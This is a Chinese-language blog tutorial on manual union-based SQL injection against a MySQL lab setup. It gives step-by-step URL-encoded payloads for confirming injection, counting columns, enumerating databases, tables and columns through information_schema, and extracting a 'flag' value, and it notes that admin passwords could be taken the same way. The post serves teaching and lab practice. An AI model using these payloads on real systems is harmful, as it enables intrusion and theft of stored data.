浅谈手工注入的常规操作

admin 2020年8月31日12:00:55评论211 views字数 1964阅读6分32秒阅读模式

点击蓝字,关注我们


欢迎转发,请勿转载!

        SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单理解注入:

老师:周五放学问学生周末去哪里玩;

学生A:去玩

学生B:去学习

学生C:去学习sql注入,那你呢。

那么发现,同学C在回答老师时,后面带了参数。那么老师会继续回答同学C,这样同学C得到了老师的信息,这就是引起了注入。

基础知识:数据库包含多个数据表,每一个表里面多个字段。一个网站有一个或多个数据库,如mysql有两个,其中一个是保存数据库的结构信息information_schema库。

        在使用注入或者拼接语句时,需要闭合,常见闭合、注释使用下面

%27,',#,%23,",),--+

测试环境,mysql数据库,页面链接的数据库为test,数据库test里面存放一个test表和flag表,test表存放两个字段,字段id和name。flag放了字段id和flag。

浅谈手工注入的常规操作

页面查询语句为

"SELECT * FROM test where id='$a'"

那么注入的语句为

a=1' payload #

前面的查询语句在$前的单引号需要闭合,也就是payload之前得补充上去单引号,payload后面加#,#是注释掉查询语句的a后面的单引号。

        判断注入的payload :

1%27 and 1=1 %23(正常)1%27 and 1=2 %23(不正常)

那么就极大可能存在注入。

        确定字段数,payload :

order by num

(num 数字0开始增长,直到报错数字的前一位,假如3报错页面,那么2就是字段数)

  测试payload: 

1%27 order by 2%23

 (正常页面)


浅谈手工注入的常规操作

测试payload:

1%27 order by 3%23


浅谈手工注入的常规操作

那么就可以判断它的字段为2个字段。

接下来在判断可显示的字段在那个位置,直接payload:

-1%27 union select 1,2 %23


浅谈手工注入的常规操作

将id改成-1,也就是不存在的id,通过联合查询,得到2,那么这个页面只显示第二字段的内容,接下来查询目标的参数在第二个占位符。

    爆库:可以通过information_schema这个数据库得到另外一个数据库的信息。通过SELECT * FROM `SCHEMATA`在information_schema里面执行,得到所有的数据库名,因此可以执行payload:

select 1(占位符1)group_concat(schema_name) from information_schema.schemata

得到所有数据库名称。根据自己实际确定占位符。

实际payload:

-1%27 union select 1,group_concat(schema_name) from information_schema.schemata%23


浅谈手工注入的常规操作

如果只要当前的数据库,那么直接执行 payload:

-1%27union select 1,database() %23


浅谈手工注入的常规操作

爆表:可以通过information_schema这个数据库得到另外一个数据库的表信息。表的信息存放在information_schema数据库的TABLES表中,tables存放了三个字段。

浅谈手工注入的常规操作

那么我们可以构造payload:

-1%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema='test' %23

去获取数据库名为test的所有数据表

浅谈手工注入的常规操作

爆字段:可以通过information_schema这个数据库得到另外一个数据库的表信息。字段的信息存放在information_schema数据库的columns表中,里面存放了四个字段,

浅谈手工注入的常规操作

那么我们可以构造payload:

-1%27union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

去获取数据表名为flag的所有字段名。

浅谈手工注入的常规操作

通过上面的一系列操作得到了数据库名,数据表,以及字段名,最后查询某个值,就直接构造payload:

-1%27  union select 1,flag from flag %23


浅谈手工注入的常规操作
浅谈手工注入的常规操作

可以看到,原始是查询test表的,我们通过注入联合查询,得到了flag表的flag值,假如数据表存放有管理员密码,同样可以以这种方式获取到。

浅谈手工注入的常规操作

转发+小编(进入学习交流群)


文章声明:本文仅供学习参考,请勿非法使用!


浅谈手工注入的常规操作



扫码关注我们



  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月31日12:00:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈手工注入的常规操作http://cn-sec.com/archives/112171.html

发表评论

匿名网友 填写信息